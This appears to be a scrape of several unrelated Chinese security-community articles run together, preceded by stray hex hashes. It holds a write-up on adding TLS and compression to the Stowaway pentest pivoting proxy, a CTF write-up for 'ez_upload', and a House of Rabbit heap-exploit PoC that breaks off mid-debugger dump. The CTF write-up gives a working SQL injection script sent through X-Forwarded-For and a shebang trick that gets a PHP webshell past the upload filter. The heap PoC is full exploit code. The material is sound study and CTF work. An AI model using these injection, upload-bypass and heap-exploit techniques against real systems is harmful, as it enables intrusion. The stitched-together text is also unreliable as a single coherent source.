4C8FA3731EFD2C5097E903D50079A44D
4F43F03783F9789F804DCF9B9474FA6D
51545ABCF4F196095ED102B0D08DEA7E
52775F24E230C96EA5697BCA79C72C8E
567D379B87A54750914D2F0F6C3B6571
5778D8FF5156DE1F63361BD530E0404D
583F05B4F1724ED2EBFD06DD29064214
58DD6099F8DF7E5509CEE3CB279D74D5
59C3F3F99F44029DE81293B1E7C37ED2
64AA21201BFD88D521FE90D44C7B5DBA
65C024D60AF18FFAB051F97CCDDFAB7F
68970B2CD5430C812BEF5B87C1ADD6EA
6E0EBEEEA1CB00192B074B288A4F9CFE
7C3BF9AB05DD803AC218FC7084C75E96
83D8D40F435521C097D3F6F4D2358C67
86D1A184850859A6A4D1C35982F3C40E | 社区文章 |
# 前言
前段时间一直有个想法，做个内网多级代理的工具，更方便突破网络限制，然后就开始物色各种代理工具，如frp、nps等等，frp的稳定性很出色，他的代码结构和实现细节也很值得借鉴，但缺点也很明显，他并不是为了渗透而生的，所以在功能上有许多不太符合之处，比如不支持正向代理，代理转发等配置不支持热启动，不支持级联等等。然后有朋友推荐了stowaway，看介绍是venom的改进版，我测试了下功能，确实蛮符合渗透要求的，多级代理、上传下载文件、热启动正反向端口转发及socks代理，很灵活，当然要投入实战的话，还有不少需要改进的地方，所以就有了后面的改造计划。
# 代码分析
在做改造之前，先简单分析下他的代码，方便后续的改造。
项目地址：<https://github.com/ph4ntonn/Stowaway>
工具分为agent和admin，admin是一个console交互式程序，用于管理agent。
agent比frp小很多，也是一个好的点。具体功能可以参考项目readme，写的蛮详细的。
代码目录如下，admin和agent分为单独的目录实现功能
├─admin
│ ├─cli
│ ├─handler
│ ├─initial
│ ├─manager
│ ├─printer
│ ├─process
│ └─topology
├─agent
│ ├─handler
│ ├─initial
│ ├─manager
│ └─process
├─crypto
├─global
├─protocol
├─release
├─script
├─share
├─tools
└─utils
## admin
目录结构
连接分成两个阶段，初始化和监听阶段
初始化阶段：
根据当前模式，是主动连接还是被动监听，发起密钥交互（我后面多加了一个websocket头部交互和tls封装），然后返回conn。
初始化函数放在initial包里。
initial包里有参数解析和认证。
监听阶段：
然后是最下面的`admin.Run()`，启动各种处理函数
admin/process/process.go
其中`go
admin.handleMessFromDownstream(console)`主要用于下游agent消息接收，然后把接收信息通过channel传递给各个以Dispatch开头的消息处理函数。
这些消息处理函数主要发送消息给下游。
`console.Run()`也会用于消息发送，是一个交互式shell用于操作。
所以看到这个结构。
admin.handleMessFromDownstream用于下游消息接收
Dispatch消息处理函数和console.Run()用于发送消息给下游，处理函数统一放在handler包里。
所以websocket的心跳包也在这里设计，添加一个DispatchKeepMess处理函数，用于定期发送数据给下游，保持会话。
而Dispatch处理函数又由manager包进行管理，通过该包进行协程间通信以及任务处理
## agent
目录结构
其实和admin的目录结构差不多
* handler: 消息处理函数，在节点间发送信息
* initial: 参数解析以及连接初始化
* manager：管理handler包的处理函数，用于协程间通信以及任务分发
* process: 主控程序，运行各个消息处理函数以及接收节点信息。
和admin逻辑差不多。
启动管理端以及各个消息处理函数，最后运行handleDataFromUpstream处理上游数据
# 短连接接收数据错误
在增加功能前，我在测试功能时发现个问题，socks、正向端口转发、反向端口转发，在遇到http、redis爆破等各种短连接时，会出现用户端数据接收不完整的问题，比如web访问有的页面文件加载不出来，爆破无效果等，而如果是rdp等长连接却没有这个问题。
这个问题很影响代理，所以必须优先解决。
测试环境PC(192.168.111.112)、admin(192.168.111.1)、agent(192.168.100.18)、web（192.168.100.1）
socks代理，F12调试的时候发现无法加载的文件，提示都是ERR_CONTENT_LENGTH_MISMATCH，啥意思，就是响应包里的长度和body不一致。
点开一个查看，这里响应头是完整的，还有body长度
但body部分确实空的，这是怎么回事
抓包查看本地和socks之间的请求，响应确实只有header
客户端请求正常发送，但最后确实由服务端主动发送FIN请求，从而断开连接
然后看了其他正常接收的数据包，同样也是服务端发送的FIN请求，所以一个资源加载时灵时不灵，可能就和这个有关了。
我们来看下不过socks代理，正常的请求包里，FIN是由客户端主动发起，从而断开连接，所以问题很可能就在于因为连接是服务端主动断开的，而不是客户端控制的，导致数据未接收完整。
接着我测试了frp，frp是稳定正常的，并且和不挂socks一样的过程，FIN是由客户端发起断开的，那么这里其实很明显了，stowaway的连接机制有问题。
那么具体问题，我们跟踪下代码看看
admin/handler/socks.go#handleSocks
conn是和客户端的链接
读取客户端数据，这里conn.Close()是后来注释掉的
写入数据发送给客户端，这里调试的时候发现，agent完整传回数据给admin了，但这里写入居然报错，发现再写入最后数据时，conn已关闭。
然后找admin上关闭conn的位置，handlesocks里有几处close的地方，我注释掉了，但仍然还是有问题，就进一步跟踪conn。
在启用handleSocks前，conn存储在SocksTask结构体里，并传输给`mgr.SocksManager.TaskChan`，
最后定位到admin/manager/socks.go#closeTCP
这里会关闭conn，closeTCP由谁调用呢
run()里，如果接收到agent发送的SocksTCPFin信号，那么就会强制关闭conn，那么后续就无法写入数据给客户端了。
梳理下通信过程，大致如下，
PC----socks---->admin----tcp---->agent----http---->web
agent（192.168.100.18）和web（192.168.100.1）之间，可以看到是正常的客户端发起FIN，但因为这里是最早结束请求断开连接的，那么agent会发送TCP
FIN信号给admin，让admin也断开连接，这时admin接收到的web数据可能还没来得及返回给PC，就因为TCP
FIN信号断开和PC的链接，导致数据接收不完整。
所以我将这段代码注释掉，由PC主动和admin断开连接，而不是agent通知。
而handleSocks里的conn.Close改成defer，编译测试，一切都正常了。
然后抓了PC到admin之间的socks流量，可以看到这里TCP FIN就正常了，由PC
192.168.111.112主动发起，而不像原来是由admin发起的。
总结下来就是，agent和目标先一步交互完数据并断开连接，这时目标返回的数据会通过agent发送给admin，同时agent还会发送一个TCP
FIN信号给admin，此时就可能出现admin先一步处理了TCP FIN信号，断开了和PC之间的链接，导致数据无法返回给PC。
那么forward和backward应该也有一样的。
admin/handler/forward.go#DispatchForwardMess
修改后
backward是从agent端主动发起的请求，所以这里应该改的是agent端。
PS: 从上面的可以看出TCP FIN是双向都会发送的，调整都是根据请求方向，在请求侧做优化。
agent/handler/backward.go#DispatchBackwardMess
这里也是一样的现象，只不过是变成agent发起而已。
修改后
# 短连接接收数据错误-续
我将该问题、解决方案和作者沟通了下，作者给出了另一种方案，我觉得更合适点。
上面的操作是通过注释发送端的FIN信号，让请求者自己断开，但直接注释会导致不调用closeTCP，这样里面的channel不会关闭，导致无法释放
所以还是需要FIN信号，但如上在closeTCP里不调用conn.Close()
closeSocks里也注释掉
那么再哪里关闭呢，既然是因为接收后写给客户端不完整导致的，那么在如下位置关闭即可。
tcpDataChan在上面关闭了，但由于是一个非阻塞channel，那么如果还有数据会继续接收，直到为空后才会为false，接着就关闭conn了。这个思路更巧妙一点。
其他模块如上修改即可。
# 流量全加密
bug修复后，就可以开始改造了，作者在readme里说到该工具数据传输是通过AES加密的，所以就抓包看了下流量。
实际上该工具的流量只加密了payload部分，而header部分是明文的，比如`THREREISNOROUTE`等等
这个问题其实好解决，只需要在原来的Conn外封装一层tls即可，这样其实payload都无需加密了。
这个参考frp修改即可，frp本身也有一个tls_enable的选项，他就是这个思路。
找到node之间连接的代码，搜索net.Dail或Accept()，如下在原来建立成功的conn对象后面，判断是否启动tls，然后调用WrapTLSClientConn封装即可。（为啥还要搞个选项，为了调试方式，不然全是密文，流量侧不好调试）
这里tlsConfig暂时没传递证书，可以改成自定义证书，防止tls指纹，最后一个options.Connect是sni。
if proxy == nil && options.TlsEnable {
// TODO: options.Connect不准确
tlsConfig, err := transport.NewClientTLSConfig("", "", "", options.Connect)
if err != nil {
printer.Fail("[*] Error occured: %s", err.Error())
conn.Close()
continue
}
conn = net2.WrapTLSClientConn(conn, tlsConfig)
}
WrapTLSClientConn内部只是调用官方库的tls.Client来封装原来的Conn对象
func WrapTLSClientConn(c net.Conn, tlsConfig *tls.Config) (out net.Conn) {
out = tls.Client(c, tlsConfig)
return
}
func WrapTLSServerConn(c net.Conn, tlsConfig *tls.Config) (out net.Conn) {
out = tls.Server(c, tlsConfig)
return
}
上面代码只是针对client主动发起连接，如果是listen的方式，代码有些许不同，在Accept()监听到连接后，需调用tls.Server来封装。
测试代码
if Args.TlsEnable {
tlsConfig, err := transport.NewServerTLSConfig("", "", "")
if err != nil {
printer.Fail("[*] Error occured: %s", err.Error())
conn.Close()
continue
}
conn = net2.WrapTLSServerConn(conn, tlsConfig)
}
有多处需要封装的，如下是所有位置
修改后编译测试一波，可以看到与上面相比，流量全加密了
当然调用了tls加密，付出的代价就是文件比原来大了1兆多。这个是没法避免的，因为不止是为了加密，后面做过cdn也是需要tls，所以这个步骤是必须的。
# admin如何置于后台
这里做个小tips，因为基本admin会被放在vps上，而vps大多是选择linux，所以就涉及一个问题，admin是console交互式，ssh连接退出就会影响admin运行，所以需要用到screen。
PS: screen不会直接把程序放到后台，而是先进入交互，手动置于后台。
1. 输入screen，会直接进入一个新的bash交互
2. 执行admin，进入admin交互界面
./admin -l 9999
或者跳过第一步，直接再screen后台跟命令也行
screen -S ./admin -l 9999
1. 切换到后台
ctrl+ad
2. 查看screen托管的隐藏进程
screen -ls
3. 从screen中切换到某进程的前台
screen -r 3721
screen 进程树
# 编码处理
stowaway还有一个功能，shell执行系统命令，但就如上面的图显示存在乱码，这是因为go里面，默认是utf8，而windows是gbk。
方案一：
在admin上修改
shell在此处转换编码即可，或mgr.ShellManager.ShellMessChan发送处
在这个只是处理了在admin上显示的问题，如果admin输入带中文，agent上把UTF-8当成GBK执行就会乱码，无法操作中文路径等等。
方案二：
在执行的agent上修改，这样就能控制输入转换成gbk，而发送给admin的从GBK转换成UTF-8，admin上显示既不会乱码，agent执行的时候也能正常解析中文路径。
agent模块
parser.go增加字符集参数，除了自动识别，也可以手动指定。
如果没通过参数指定或者输入是错误字符集，则根据OS自动获取。
// charset parser
autoCharset := false
if Args.Charset == "" {
autoCharset = true
} else {
for _, i := range charsetSlice {
if Args.Charset == i {
goto manual
}
}
autoCharset = true
manual:
}
if autoCharset {
switch utils.CheckSystem() {
case 0x01:
Args.Charset = "GBK"
// cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} // If you don't want the cmd window, remove "//"
default:
Args.Charset = "UTF-8"
}
}
agent/process/process.go
然后在分发函数这，将选项传入处理函数，这里其实就参考第一个处理函数才决定使用options操作,所以可以在做一些改动前，看看之前是怎么实现的，这样保证代码设计一致性。
agent/handler/shell.go
admin传入命令转换成设定编码
执行结果发送给admin前，将指定编码转换成UTF-8
注意count即接收字节大小也需要改动，否则会出现丢字符串的情况。
效果如下
这个操作其实没那么重要处理，因为命令执行在代理工具里不应该有，会增加特征导致被杀，命令执行就交给更专业的C2来实现。
这里只是实验性质的，用于后续其他处理函数需要做编码转换来做准备。
PS:
编码转换包后面换成了官方提供的golang.org/x/text/encoding/simplifiedchinese，这个打包出来会比gcharset小很多。
# 数据压缩
这个其实是想到frp也有这么一个功能，并且压缩数据对于传输来说很有意义，提高传输速度，尤其是一些大文件的传输。
这个修改其实很简单。
因为原来不是有一个数据加密吗，用AES对data进行加解密,而有了tls加密，这里的aes就无关紧要了，那么我们只需要替换这个加解密的位置，把数据从加解密变成解压缩就成了。
定位到加密位置
protocol/raw.go#ConstructData
替换成gzip压缩
解密位置
protocol/raw.go#DeconstructData
替换成gzip解压
至于gzip的实现，很简单，调用内置库gzip即可。
func GzipCompress(src []byte) []byte {
var in bytes.Buffer
w := gzip.NewWriter(&in)
w.Write(src)
w.Close()
return in.Bytes()
}
func GzipDecompress(src []byte) []byte {
dst := make([]byte, 0)
br := bytes.NewReader(src)
gr, err := gzip.NewReader(br)
if err != nil {
return dst
}
defer gr.Close()
tmp, err := ioutil.ReadAll(gr)
if err != nil {
return dst
}
dst = tmp
return dst
}
然后测试下压缩率
ipconfig /all: 6410->1136 17.7%
dir c:\windows\system32: 252599->51928 20.6%
fscan.exe(16M): 16539136->5855251 35.4%
测试压缩率还不错，总比没压缩的强上许多。
PS: 这个压缩是不包含header字段的，当然这个字段撑死也就是几十字节，1K都不到，不影响的。
# 总结
stowaway作为一个专门为渗透设计的代理工具，有很多方便的功能，本次改造通过代码分析、短连接bug修复、流量全加密、数据压缩等各方面进行讲解，也进一步熟悉了这款工具的实现逻辑，也为后续重构打下基础。
后续还会增加CDN穿透、多startnode功能、内联命令等等。 | 社区文章 |
这是强网杯拟态防御线下赛遇到的web题目，本来是不打算分享Writeup的，但是由于问的人很多，于是这里分享给大家。
ez_upload这题算是非常经典的堆叠black
trick的题目，算是比较典型的ctf式题目（虽然现在大家都很抵制这样的题目），这里主要是分享Writeup以及我们队在完成题目时的思考流程。
# ez_upload 思考流程
最开始我先描述一下题目逻辑。
1、login.php，登陆页面，只获取了username，没有任何限制，username会在转义后进入session。
2、index.php，页面输出了username，ip（可以被xff覆盖），以及上传文件列表（不完整，只有10位）。
3、upload.php，上传文件，要求必须上传php，但是又过滤很多，没办法绕过限制。
在拿到题目后，我们可以得到以下信息：
1、登陆无任何限制，只输入用户名，但单引号、双引号、反斜杠会被转义。
aaa' => aaa\'
1）hint提到数据库中username的长度为25
2、登陆后，index.php获取ip，这个ip可以被xff覆盖，而且是每次都会获取。
1）xff受到waf限制，形似。
$ip = get_ip_from_xff();
echo $ip;
waf($ip);
但这里只拦截包括单引号、反斜杠
3、上传文件，要求必须上传php，但会被waf拦截。
1）代码形似：
waf($_FILES);
所以和ip那里触发不一致
2）看上去对php的验证在前，在最早的测试中，只有在触发waf的情况下才能被认为是php（猜测）
<?php.....
<?\n.....
这里的判断看上去完全一致，像是个悖论
3、上述中所有提到的变量，在输出前都是从session里面取得，但提示中数据库存在。
那么猜测有两个数据库操作点。
1、index.php查看文件列表，`select filename from uploads where user = '\$user' and ip =
"\$ip"? # ip是否参与未知`
2、upload.php上传文件，`insert into uploads values (id, '\$user', '\$ip',
'\$filename')...`
###### ###########猜测分割钱
在最早分析完题目后，由于我们没办法绕过上传，所以重新思考了所有的条件。于是有了下面的猜测：
猜测这里存在二次注入，通过user25位阶段对`\`的转义，然后转义单引号，这样与下一个单引号闭合，于是完成insert注入。
猜测为注入题目...
文件如果被上传，那么一定可以被index.php看到，那么我们需要假设这个文件一定可以被上传。
但我们传不了，那么有两种假设，有我们忽略的条件或者black trick。
而忽略的条件只有waf（尤其是ip上的
假设ip上的waf是用来测试上传文件的文件名
而insert语句为`insert into uploads values (id, '\$user', '\$filename')...`
我们可以通过测试ip的waf，知道filename的waf。
但在这种假设下，文件一定可以被上传
从上面的条件思考upload.php的核心代码大致如下
if(!empty($_FILES['upfiles']['tmp_name']))
{
if(is_array($_FILES['upfile'])){
die();
}
if(checkIsPhp($_FILES['upfile'])){
die('bu shi php')
}
if(waf($FILES['upfiles'])){
mysql_query('insert')
}else{
die('waf')
}
}
重新思考流程后，我们可以想到，这里的文件一定可以被上传（即使不能直接上传php）
在第二天的比赛中，经过测试，我们发现后台的判断非常奇怪，在假设文件可以被上传的情况下，后台大概是判断是不是一个纯粹的php文件，在不考虑强行脑洞的情况下，我们需要寻找一个非`<?`开头的php文件。
这里我们用了
#!/usr/bin/php
当我们添加这行时，我们就能成功绕过第一个看似悖论的判断条件了，紧接着是后缀的判断，这个很简单，只要在`.php`后加入空格或者TAB键就好了。
通过这种方式，我们可以成功的上传php文件了，但是我们发现在index页面中，我们只能看到10位返回，也就是说我们无法获得文件名。
所以这里，我们需要通过注入来获取上传的文件名，值得一提的是，我们之前的猜测是正确的，后台逻辑为上传成功后插入数据库，语句为:
insert into uploads values (id, '\$user', '\$ip', '\$filename')...
这里我们可以通过构造插入多条数据来显注，每次只能注10位，简单脚本如下
# coding=utf-8
import requests
import random
import hashlib
import time
s = requests.Session()
url='http://10.10.3.113'
def get_content(url):
content_length = 0
payload = "(select(length(filename))from(select(filename)from(picture)where(name=\"rrr\")limit 19,1)a)"
content_length = get_response(payload)
print "[*] content_length: "+str(content_length)
content = ""
content_count = int(content_length)/9
for i in xrange(content_count+1):
payload = "(select(mid(filename,"+str(9*i+1)+",9))from(select(filename)from(picture)where(name=\"rrr\")limit 19,1)a)"
# print payload
content += get_response(payload)
print "[*] content: "+content
print "[*] content: " + content
def get_response(payload):
s = requests.Session()
username = "teststeststests1234\\"
login_url = url + "/login.php?action=login"
data = {"username": username}
s.post(login_url, data)
# payload
payload = ",1,1),(\"llrr\",1,{})#".format(payload)
# 上传文件
upload_url = url + "/upload.php"
f = open("test.txt", "rb")
header = {"X-Forwarded-For": payload}
file = {"upfile": f}
otime = time.time()
r = s.post(upload_url, headers = header, files = file)
rr = r.text
# 获取返回
username2 = "llrr"
login_url = url + "/login.php?action=login"
data = {"username": username2}
r2 = s.post(login_url, data)
index = r2.text.find("</p> </div>")
index2 = r2.text[index-20:index].rfind("<p>")
return r2.text[index-17+index2:index].replace('....','')
get_content(url)
获取到文件名就可以访问webshell，直接获取flag了
# 回顾题目
在完成题目之后，我拿到了题目的源码，重新回顾源码后发现一些有趣的东西。
upload.php
<?php
session_start();
include_once 'lib/clean.php';
include_once 'lib/database.php';
if (isset($_FILES['upfile'])) {
$file = $_FILES['upfile'];
if ($file ['error'] > 0) {
switch ($file ['error']) {
case 1 :
$mes = 'The uploaded file exceeds the value of the upload_max_filesize option in the PHP configuration file';
break;
case 2 :
$mes = 'Exceeded the size of the form MAX_FILE_SIZE limit';
break;
case 3 :
$mes = 'File section was uploaded';
break;
case 4 :
$mes = 'No upload file selected';
break;
case 6 :
$mes = 'No temporary directory found';
break;
case 7 :
case 8 :
$mes = 'System error';
break;
}
die($mes);
}
$content = file_get_contents($file['tmp_name']);
checkMIME($file);
if (checkContent($content) && checkExts($file['name'])) {
upload($file);
} else {
die('attack detected');
}
} else {
die('file not found');
}
function upload($file)
{
$savepath = dirname(__file__) . '/uploads/';
$filename = explode('.', $file['name']);
$newname = rand_name() . "." . trim(end($filename));
$finalname = $savepath . $newname;
if (move_uploaded_file($file['tmp_name'], $finalname)) {
$db = new Database();
//,1,(select substring(filename,10,10) from(select filename from picture limit 0,1)x))#
if ($db->insert($_SESSION['username'], getip(), $newname)) {
header('location: index.php');
exit();
}
}
}
function rand_name($l = 64)
{
$str = null;
$Pool = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_";
$max = strlen($Pool) - 1;
for ($i = 0; $i < $l; $i++) {
$str .= $Pool[rand(0, $max)];
}
return $str;
}
function checkExts($filename)
{
$AllowedExt = array('php', 'php3', 'php4', 'php5', 'pht', 'phtml', 'inc');
$filename = explode('.', $filename);
if (in_array(strtolower($filename[count($filename) - 1]), $AllowedExt)) {
return false;
}
return true;
}
function checkMIME($file)
{
// text/php text/x-php
$php_ext = array("text/php", "text/x-php");
$type = mime_content_type($file['tmp_name']);
if(!in_array(strtolower($type), $php_ext)){
die("i need php file");
}
}
function checkContent($content)
{
if (stripos($content, '<?') === 0) {
return false;
}
return true;
}
upload中我们一直认为是悖论的过滤，是通过`mime_content_type`来判断的，这也是为什么我们可以用`#!/usr/bin/php`绕过的原因，蛮有意思的一个点 | 社区文章 |
## House of Rabbit
### 原理
如果程序同时满足以下三个条件
1. 可以分配任意大小的堆块并且释放，主要包括三类fastbin大小的堆块、smallbin大小的堆块、较大的堆块（用于分配到任意地址处）
2. 存在一块已知地址的内存空间，并可以任意写至少 **0x20** 长度的字节
3. 存在fastbin dup、UAF等漏洞，用于劫持fastbin的fd指针。
当通过malloc函数分配内存时，当超过某特定阈值时，堆块会由mmap来分配，但同时会改变该阈值。通过连续malloc然后free两次超大chunk，会扩大top
chunk的size。在申请一个fast chunk和一个small chunk，保证small chunk紧邻top
chunk。在可控内存处伪造两个chunk，一个大小为0x11，绕过检查，一个为0xfffffffffffffff1，保证可覆盖任意地址并设置了inuse位。再利用其他漏洞将0xfffffffffffffff1大小的fake
chunk链接到fast bin链表。free触发malloc_consolidate，用于对fastbin合并，并放到unsorted
bin中。再申请一个超大 chunk，0xfffffffffffffff1大小的fake chunk会链接到
largebin，最后申请任意长度的地址，使堆块地址上溢到当前堆地址的低地址位置，从而可以分配到任意地址，达到内存任意写的目的。
### Poc
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void evict_tcache(size_t size);
char target[0x30] = "Hello, World!";
unsigned long gbuf[8] = {0};
int main(void){
void *p, *fast, *small, *fake;
char *victim;
setbuf(stdin, NULL);
setbuf(stdout, NULL);
//在不泄漏地址的情况下绕过堆ASLR，使覆盖位于任意地址的变量成为可能。
printf("House of Rabbit Poc\n\n");
printf("0. 关闭 0x20,0x90 chunks 的tcache (glibc version >= 2.26)\n\n");
evict_tcache(0x18);
evict_tcache(0x88);
printf("1. 'av->system_mem > 0xa00000'\n");
p = malloc(0xa00000);
printf(" 在 %p 通过mmap申请0xa00000 byte大小的内存, 然后 free.\n", p);
free(p);
p = malloc(0xa00000);
printf(" 在 %p 通过mmap申请0xa00000 byte大小的内存, 然后 free.\n", p);
free(p);
printf(" 'av->system_mem' 将会比 0xa00000 大.\n\n");
printf("2. Free fast chunk 插入 fastbins 链表\n");
fast = malloc(0x18);
small = malloc(0x88);
printf( " 申请 fast chunk 和 small chunk.\n"
" fast = %p\n"
" small = %p\n", fast, small);
free(fast);
printf(" Free fast chunk.\n\n");
printf("3. 在 .bss 构造 fake_chunk\n");
gbuf[0] = 0xfffffffffffffff0;
gbuf[1] = 0x10;
gbuf[3] = 0x21;
gbuf[7] = 0x1;
printf( " fake_chunk1 (size : 0x%lx) is at %p\n"
" fake_chunk2 (size : 0x%lx) is at %p\n\n"
, gbuf[3], &gbuf[2], gbuf[1], &gbuf[0]);
fake = &gbuf[2];
printf( "漏洞利用 (UAF，fastbins dup等)\n"
" *fast = %p\n"
, fake);
*(unsigned long**)fast = fake;
printf(" fastbins list : [%p, %p, %p]\n\n", fast-0x10, fake, *(void **)(fake+0x10));
printf( "4. 调用 malloc_consolidate\n"
" Free 和top相邻的 small chunk (%p) , 将 fake_chunk1(%p) 插入 unsorted bins 链表.\n\n"
, small, fake);
free(small);
printf( "5. 将 unsorted bins 链接到合适的链表\n"
" 将 fake_chunk1 的 size 重写为 0xa0001 来绕过 'size < av->system_mem' 检查.\n");
gbuf[3] = 0xa00001;
malloc(0xa00000);
printf( " 申请一个超大 chunk.\n"
" 现在, fake_chunk1 会链接到 largebin[126](max).\n"
" 然后, 将fake_chunk1 的 size 改为 0xfffffffffffffff1.\n\n");
gbuf[3] = 0xfffffffffffffff1;
printf( "6. 覆写 .data 段上的目标值\n"
" 目标值位于 %p\n"
" 覆写之前是 : %s\n"
, &target, target);
malloc((void*)&target-(void*)(gbuf+2)-0x20);
victim = malloc(0x10);
printf(" 在 %p 申请 0x10 byte, 然后任意写入.\n", victim);
strcpy(victim, "Hacked!!");
printf(" 覆写之后是 : %s\n", target);
}
void evict_tcache(size_t size){
void *p;
#if defined(GLIBC_VERSION) && (GLIBC_VERSION >= 26)
p = malloc(size);
#if (GLIBC_VERSION < 29)
free(p);
free(p);
malloc(size);
malloc(size);
*(void**)p = NULL;
malloc(size);
#else
#if (GLIBC_VERSION == 29)
char *counts = (char*)(((unsigned long)p & ~0xfff) + 0x10);
#else
uint16_t *counts = (char*)(((unsigned long)p & ~0xfff) + 0x10);
#endif
counts[(size + 0x10 >> 4) - 2] = 0xff;
#endif
#endif
}
### 分步分析
#### 1 malloc两个堆块使av->system_mem > 0xa00000
p = malloc(0xa00000);
free(p);
p = malloc(0xa00000);
free(p);
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x400000 0x402000 r-xp 2000 0 /home/kabeo/Desktop/house_of_rabbit
0x601000 0x602000 r--p 1000 1000 /home/kabeo/Desktop/house_of_rabbit
0x602000 0x603000 rw-p 1000 2000 /home/kabeo/Desktop/house_of_rabbit
0x603000 0x1024000 rw-p a21000 0 [heap] <===== 扩大到0xa21000
0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0
0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7fdd000 0x7ffff7fe0000 rw-p 3000 0
0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar]
0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
#### 2 Free fast chunk 插入 fastbins 链表
fast = malloc(0x18);
small = malloc(0x88);
free(fast);
pwndbg> heap
0x603000 FASTBIN {
prev_size = 0,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x91
}
0x603020 PREV_INUSE {
prev_size = 0,
size = 145,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6030b0 PREV_INUSE {
prev_size = 0,
size = 10620753,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> bins
fastbins
0x20: 0x603000 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> x/30xg 0x603020-0x20
0x603000: 0x0000000000000000 0x0000000000000021 <==== fast
0x603010: 0x0000000000000000 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000091 <==== small
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000000
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000a20f51 <==== top chunk
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x0000000000000000 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000
#### 3 在 .bss 段构造 fake_chunk
gbuf[0] = 0xfffffffffffffff0;
gbuf[1] = 0x10;
gbuf[3] = 0x21;
gbuf[7] = 0x1;
fake = &gbuf[2];
pwndbg> x/20xg 0x6020f0-0x20
0x6020d0 <stdin@@GLIBC_2.2.5>: 0x00007ffff7dd18e0 0x0000000000000000
0x6020e0 <gbuf>: 0xfffffffffffffff0 0x0000000000000010
0x6020f0 <gbuf+16>: 0x0000000000000000 0x0000000000000021 <==== fake chunk
0x602100 <gbuf+32>: 0x0000000000000000 0x0000000000000000
0x602110 <gbuf+48>: 0x0000000000000000 0x0000000000000001
0x602120: 0x0000000000000000 0x0000000000000000
0x602130: 0x0000000000000000 0x0000000000000000
0x602140: 0x0000000000000000 0x0000000000000000
0x602150: 0x0000000000000000 0x0000000000000000
0x602160: 0x0000000000000000 0x0000000000000000
#### 4 通过其他漏洞改写fast chunk指向fake chunk
*(unsigned long**)fast = fake;
pwndbg> bins
fastbins
0x20: 0x603000 —▸ 0x6020f0 (gbuf+16) ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> x/30xg 0x603020-0x20
0x603000: 0x0000000000000000 0x0000000000000021
0x603010: 0x00000000006020f0 0x0000000000000000 <==== 改写fastbin指向
0x603020: 0x0000000000000000 0x0000000000000091
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000000
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000a20f51
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x0000000000000000 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000
#### 5 调用 malloc_consolidate，Free 和top相邻的 small chunk , 将 fake_chunk1插入
unsorted bins 链表
free(small);
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x6020f0 (gbuf+16) —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x6020f0
smallbins
empty
largebins
empty
pwndbg> x/30xg 0x603020-0x20
0x603000: 0x0000000000000000 0x0000000000a21001 <==== fast chunk size改变
0x603010: 0x00000000006020f0 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000a20fe1 <==== small chunk size改变
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
